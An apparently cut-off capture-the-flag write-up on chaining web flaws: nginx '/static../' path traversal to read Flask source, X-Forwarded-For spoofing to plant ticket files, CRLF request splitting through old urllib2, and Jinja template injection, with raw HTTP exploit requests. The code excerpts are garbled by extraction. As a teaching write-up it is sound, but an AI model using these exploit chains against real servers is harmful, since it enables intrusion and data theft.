As the title, this challenge has the CSP settings as above to prevent XSS from occurring on the site. However, the CSP may not work with some response status. The api allows you to bypass the CSP by setting the response status to 102.
Although This server is a just only for this challenge, it is weird serviced by the flask app through /render paths rather than the root path.
The address /static, which is referenced on service page, allows users to browse the parent directory by an nginx misconfigure, which skill is well known, so I will skip the explanation. An attacker will be able to navigate the /home path through the /static../ path.
The Dockerfile given as an attachment indicates that /home/src/ is the source directory for this flask app.
1 2 3 4 5 6 7 8 9
// http://126.96.36.199/static../src/app/__init__.py from flask import Flask from app import routes import os
@front.route("/admin/ticket", methods=["GET"]) defadmin_ticket(): ip = get_ip() rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket print1 abort(403) if ip notin ["127.0.0.1", "127.0.0.2"]: #only local print2 abort(403) if request.headers.get("User-Agent") != "AdminBrowser/1.337": print request.headers.get("User-Agent") abort(403)
defget_real_ip(): return request.headers.get("X-Forwarded-For") or get_ip()
defproxy_read(url): #TODO : implement logging
s = urlparse(url).scheme if s notin ["http", "https"]: #sjgdmfRk akfRk return""
defwrite_log(rip): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f: log_str = "Admin page accessed from %s" % rip f.write(log_str)
defwrite_extend_log(rip, body): tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f: f.write(body)
defread_log(ticket): ifnot (ticket and ticket.isalnum()): returnFalse
if path.exists("/home/tickets/%s" % ticket): with open("/home/tickets/%s" % ticket, "r") as f: return f.read() else: returnFalse
The /home/src/app/routes.py identifies the features and vulnerabilities of the website.
When requested by specifying an X-Forwarded-For header that is not a value of 127.0.0.1 or 127.0.0.2 in the path /admin, a file containing the contents of the X-Forwarded-For is created through the write_log function in the /home/tickets directory and returned to the filename.
In the admin_ticket function corresponding to the /admin/ticket path, read the delivered ticket and execute the factor_template_string function. As a result, Jinja SSTI is available for this issue.
The http request function, which is the main feature of the problem, is through the old version of urlib2 library. (The Python version is listed in the attached Dockerfile) A CRLF vulnerability exists in that version of urlib2, which enables http request splitting.
You can create a file at /home/tickets/ with any request like this and get the file name. In this case, the ticket file is /home/tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4.
// http://188.8.131.52/static../tickets/e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4 Admin page accessed from applemint
You can view the contents of the saved ticket file using the nginx route bug as described above.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[REQUEST] POST /renderer/ HTTP/1.1 Host: 184.108.40.206 Content-Type: application/x-www-form-urlencoded Content-Length: 194
url=http://localhost/renderer/admin/ticket?ticket=e05c0b2a191386ab2b6ff732f2e8c199e0ce18b4 HTTP/1.1 Host: x User-Agent: AdminBrowser/1.337 X-Forwarded-For: 127.0.0.1 Connection: close
[RESPONSE] <divclass="proxy-body"> Admin page accessed from applemint </div>
The request split vulnerability allows full manipulation of the contents of packets. When you pass the parameter to the /admin/ticket path as GET, the contents of the ticket file appear rendered as a template.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
[REQUEST] POST /renderer/ HTTP/1.1 Host: 220.127.116.11 Content-Type: application/x-www-form-urlencoded Content-Length: 90